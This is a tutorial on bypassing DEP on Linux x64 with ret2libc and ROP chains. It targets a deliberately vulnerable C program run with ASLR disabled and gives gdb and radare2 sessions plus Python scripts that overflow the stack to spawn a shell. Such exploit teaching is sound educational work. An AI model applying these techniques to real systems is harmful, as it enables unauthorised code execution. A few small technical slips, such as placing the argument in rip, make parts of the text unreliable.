Using Return Oriented Programming Against DEP

Published in February 2017
Updated in February 2017

This article describes techniques to bypass DEP (ret2libc and ROP) on Linux x64 systems.

We need:

  1. Python Exploit Development Assistance for GDB
  2. radare2
  3. GDB

We need a small, vulnerable program in C :

#include <stdio.h>
int main(int argc, char *argv[]) { 
    char buf[256]; read(0, buf, 400);
}

Compile it using:

gcc -fno-stack-protector rop.c -o rop

Since we do not bypass ASLR, then we need to disable it for your Linux distribution like this:

echo 0 > /proc/sys/kernel/randomize_va_space

To check whether it's disabled or not type ldd <path to file>. You should get something like:

linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)

If you type it again, the addresses should be the same, meaning randomization is disabled.

ROP and ret2libc

In classic ret2libc we need to create a fake stack frame in order to call a function from libc. For instance, we can call system() and use “/bin/sh” string as input.

In 64-bit programs, the first six params are passed through rdi, rsi, rdx, rcx, r8 и r9. The other parameters are passed through the stack. Thus, in order to call a function from libc, we need to set the right values to registers. Setting this values is not that trivial and I will use ROP technique to show how it can be done.

ROP or Return Oriented Programming is a technique that allows us to bypass NX bit. The main idea of ROP is that instead of executing code from the stack, we would use so called gadgets.

A gadget is a short command sequence, which ends with ret instruction. Combining these gadgets and choosing the rights addresses, we can achieve code execution.

Using gadgets we can:

Our exploit will call system('/bin/sh'). Before we do this, we must know:

To find address of system() we can use gdb. Run it as gdb rop.

Then start the program:

gdb-peda$ start

And to find system() address:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>

And to find a pointer to /bin/sh:

gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')

Now we need a gadget that would copy 0x7ffff7b9d359 into rdi. Let’s use radare2 to find such a gadget. Run radare as r2 rop and look for a gadget as:

[0x00400400]> /R pop rdi 0x004005a3 5f pop rdi 0x004005a4 c3 ret

This gadget should work. It will take the address from the stack and write it into rdi.

The only thing we need to do is to find the offset to our exploit, so that we can pass control to it. To find the offset, we can create a pattern, pass it to the program, and then locate it in the memory, and calculate the offset. To generate and save pattern it to pattern.txt:

gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Run gdb again with the pattern as input:

gdb-peda$ r < pattern.txt

We should received the following error, saying that our program crashes: “Program received signal SIGSEGV, Segmentation fault”. Let’s examine rsp. In my case, it looked like:

RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177") 

Let's take the first 6 bytes on the stack HA%dA%. The find which offset they have in our pattern:

gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264

Thus, we know we need to write 264 bytes in order to rewrite rip.

Now we have everything to create an exploit:

from struct import *
buf = ''
buf += 'A'*264 			# junk
buf += pack('<Q', 0x004005a3) 	# pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359) 	# pointer to '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0) 	# system()
f = open("exploit.txt", "w")
f.write(buf)
f.close

This code:

  1. Creates a buffer and writes there 264 letters ‘А’ as junk;
  2. Writes the address of pop rdi; ret; gadget;
  3. Writes the address of /bin/sh, which is an argument for system();
  4. Writes the address of system().

First we are getting to our gadget (because of rip rewriting). Then, the first command of our gadget pop rdi takes the value from stack, which is /bin/sh address, and writes it into rdi. After that, the second command of the gadget gets executed — ret, which takes the next address from the stack, which is the address of system(), and jumps to it. Then, system() gets called, with the first argument in rip, which is a pointer to /bin/sh string.

Now let’s call our script, which will create ‘exploit.txt’. Then run program with ‘exploit.txt’ as input:

(cat exploit.txt; cat) | ./rop

And we are in sh. In this case we used only one gadget, now let’s use many of them!

Chaining gadgets

The main advantage of ROP is that we can create so called "ROP chains". Since every gadget ends with ret, we can put multiple addresses on the stack, and every gadget will take the next address from it after executing ret and jump to that address.

In order to run sh let’s use this article. In short we are going to use execve(). To do so we must:

  1. Put the address of /bin/sh into rdi;
  2. Zero out rsi, which stores a pointer to argv;
  3. Zero out rdx, which stores a pointer to envp;
  4. Write the number of the function (0x3b) into rax;
  5. Call syscall.

Now let’s find gadgets.

We already know the address of pop rdi; ret;

Now we need an address of a gadget that can write a value into rsi. Run radare2 again and type:

[0x00400400]> /R pop rsi 
0x004005a1 5e pop rsi 
0x004005a2 415f pop r15 
0x004005a4 c3 ret

As you can see, it deals with r15 too. But this should not be a problem because we can just put some random value for it to pop. This value will be put into r15. If we don’t do so, pop r15 will take an address of the next gadget and thus, break our exploit.

Some gadgets may not be available in our executable file. In this case, we can use libraries that the application loads. To see what libraries are used, run:

ldd rop 
linux-vdso.so.1 (0x00007ffff7ffa000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)

Open this library inside of radare2:

r2 /usr/lib/libc.so.6

Look for a gadget that we can use to write a value into rax:

[0x000203b0]> /R pop rax 0x0011ec71 8903 mov dword [rbx], eax 0x0011ec73 58 pop rax 0x0011ec74 5a pop rdx 0x0011ec75 5b pop rbx 0x0011ec76 c3 ret

There’re a lot of them, but we need only one. This one messes with three registers, but we can also just put random values on the stack in order to avoid breaking the exploit.

Since the address we have is just an offset inside libc, we need to calculate its real address, which is the address of libc plus the offset:

>>> hex(0x0011ec73 + 0x7ffff7a3c000)
'0x7ffff7b5ac73'

And we get the real address of the gadget, which is 0x7ffff7b5ac73. Now we need to find a gadget, which calls syscall:

[0x000203b0]> /R syscall 0x0010248e 0000 add byte [rax], al 0x00102490 48633f movsxd rdi, dword [rdi] 0x00102493 b803000000 mov eax, 3 0x00102498 0f05 syscall 0x0010249a c3 ret

We also calculate its real address, which should be something like 0x7ffff7b3e498.

Now let’s create a buffer for our exploit. It will look like:

0x004005a3 	pointer to `pop rdi; ret;`
0x7ffff7b9d359 	pointer to '/bin/sh'
0x004005a1 	pointer to `pop rsi; ret;`
0x0 		null (`argv` value)
0xffffdeadbeef	random value (to bypass `pop r15;`)
0x7ffff7b5ac73	pointer to `pop rax; ret`
0x3b		number of execve to call syscall
0x0 		null (`envp` value)
0xffffffffabcd	random value (to bypass `pop rbx;`)
0x7ffff7b3e498	syscall

Create a simple script that creates a file with the buffer:

from struct import *
buf = ''
buf += 'A'*264                      # junk
buf += pack('<Q', 0x004005a3)       # pop rdi
buf += pack('<Q', 0x7ffff7b9d359)   # p to /bin/sh
buf += pack('<Q', 0x004005a1)       # pop rsi
buf += pack('<Q', 0x0)              # null argv
buf += pack('<Q', 0xffffdeadbeef)   # junk
buf += pack('<Q', 0x7ffff7b5ac73)   # pop rax
buf += pack('<Q', 0x3b)             # execve number
buf += pack('<Q', 0x0)              # null envp
buf += pack('<Q', 0xffffffffabcd)   # trash
buf += pack('<Q', 0x7ffff7b3e498)   # syscall
f = open("exploit.txt", "w")
f.write(buf)
f.close

Run the script. It should save content to file ‘exploit.txt’. Now we can use it with our vulnerable program:

(cat exploit.txt; cat) | ./rop

Now, we are inside sh and we can run commands.